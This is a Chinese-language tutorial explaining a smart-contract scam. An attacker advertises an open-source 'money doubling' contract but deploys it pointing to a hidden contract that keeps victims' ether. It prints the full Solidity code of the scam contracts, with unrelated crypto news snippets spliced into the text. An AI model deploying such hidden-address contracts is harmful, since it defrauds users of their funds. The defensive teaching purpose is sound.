概述
上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。
前置知識
大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:
用戶以為的調用路徑:
部署合約A傳入合約B地址,這樣調用路徑為正常路徑。
實際的調用路徑:
zkSync發布新的支持智能合約驗證的插件:金色財經報道,基于ZK Rollup的以太坊二層網絡zkSync宣布發布了一個新的支持智能合約驗證的插件。hardhat-zksync-verify插件允許開發人員從終端和編程方式驗證部署在 zkSync 2.0 上的智能合約。[2023/1/4 9:50:49]
部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。
下面我們使用一個簡單的例子來分析這個騙局:
惡意代碼
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
Juno開發人員:主網暫停源于惡意智能合約攻擊,網絡正在修復中:4月7日消息,由于網絡攻擊,基于Cosmos的區塊鏈Juno于周二下線。根據該項目官方推特轉發的消息,截至發稿時該網絡仍處于離線狀態,但沒有用戶資金受到影響,Juno核心開發團隊表示正在修復中。一位不愿透露姓名的Juno核心開發人員表示,網絡崩潰源于一個惡意智能合約,該合約被偽裝成一個簡單的“hello world”程序。可疑的攻擊者在三天的時間里向智能合約發送了超過400筆交易,這顯然是一個反復試驗的過程,最終鎖定了一個特定的交易組合,導致網絡崩潰。 開發人員稱,攻擊者利用了一個區塊鏈漏洞,Juno計劃在攻擊發生后的幾個小時內通過更新來解決這個漏洞。該開發者表示,該漏洞已被公開披露,因為它影響了所有使用CosmWasm智能合約平臺的區塊鏈。此前消息,Juno在區塊高度2578108處停止出塊。(CoinDesk)[2022/4/7 14:09:13]
騙局分析
可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:
智能合約錢包Argent全面開放Layer 2賬戶注冊:3月8日消息,智能合約錢包 Argent 宣布全面開放 Layer 2 賬戶注冊,現在任何人都可以進行訪問其以太坊 zkSync 網絡 Layer 2 錢包。Argent 表示,其 Layer 2 錢包支持更低的 gas 費用,更快的交易速度,并且提供質押和收益耕作服務,網絡交易的碳排放量將減少 100 倍。[2022/3/8 13:44:14]
MoneyMaker合約代表A合約;
Vault合約代表B合約;
Hack合約代表C合約。
所以用戶以為的調用路徑為:
MoneyMaker->Vault。
而實際的調用路徑為:
MoneyMaker->Hack。
下面我們來看看攻擊者如何完成騙局的:
1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;
Gelato推出Web3多鏈智能合約自動化執行工具Gelato Ops:11月19日消息,以太坊智能合約自動執行工具Gelato Network宣布推出Web3多鏈智能合約自動化執行工具Gelato Ops,Gelato Ops將在以太坊、Polygon、Fantom和Arbitrum上線,未來支持更多網絡。開發者可使用Gelato Ops在大多數基于EVM的區塊鏈上自動執行任意任務,付款可以使用ETH、MATIC或FTM,之后將支持DAI或USDC。[2021/11/19 22:04:15]
2.Evil部署Hack(C)惡意合約;
3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;
聲音 | 安比實驗室:8月ETH主網智能合約創建總量創17個月新低 或因ETH交易市場遇冷:據安比實驗室智能合約監控平臺數據顯示,2018 年 8 月以太坊主網智能合約創建總量為 51583,創 2017 年 4 月以來新低。8 月創建合約最多的地址為0x9862D074e33003726fA05c74F0142995f33A3250,共創建合約 8802 個。經安比實驗室逆向分析,該地址創建合約字節碼完全一致,疑似為錢包合約。據 BitcoinTalk 論壇網友舉證,該地址疑似與 BiteBTC 和 BITRADERHUB 有關,且大量用戶聲稱其存在詐騙行為。據安比實驗室,大量數字貨幣交易所會批量創建智能合約作為用戶錢包,用于處理用戶的各類資產。之前有過報道,7 月份智能合約創建數量暴漲,疑似與某交易所大量創建錢包合約有關。而 8 月合約新增數量創 17 個月以來新低,則很可能與加密貨幣尤其是以太坊資產交易市場遇冷、新增用戶規模萎縮存在重要聯系。[2018/9/3]
4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;
5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。
咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。
預防建議
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。
Tags:MAKEMakerULTVAULTmakerdao代幣makerdao創始人mushgainRevault NetworkZKVAULT
12月27日,百度創始人、董事長兼CEO李彥宏在百度Create2021演講中表示,“人機共生”時代,中國將迎來AI黃金十年.
1900/1/1 0:00:00自從我們在2019年末首次推出Rarible以來,NFT領域取得了前所未有的進步,因為僅在過去幾個月中它就達到了幾個主要的里程碑.
1900/1/1 0:00:00由狗狗幣倡導者埃隆·馬斯克(ElonMusk)領導的大型電動汽車制造商特斯拉(Tesla)暗示,其可能很快會恢復對加密貨幣支付的支持.
1900/1/1 0:00:00原創:趙晉杰 來源:字母榜 圖片來源:由無界AI工具生成國內科技大廠,在大模型競爭上再一次取得共識:既要做淘金者,也要賣鏟子.
1900/1/1 0:00:00為方便閱讀,文字略有刪減整理如下:BSN的核心理念,是在互聯網上推動建立一個新的公共層,與目前只能有效服務于中心化應用的互聯網平行,為各行各業、各種類型的分布式應用提供服務.
1900/1/1 0:00:00在SuiNetwork主網上線一周后的今天,加密研究員2Lambroz對所有上線主網的DeFi項目進行了體驗,將這些dApp的相關信息整理和匯總在了一個表格之中.
1900/1/1 0:00:00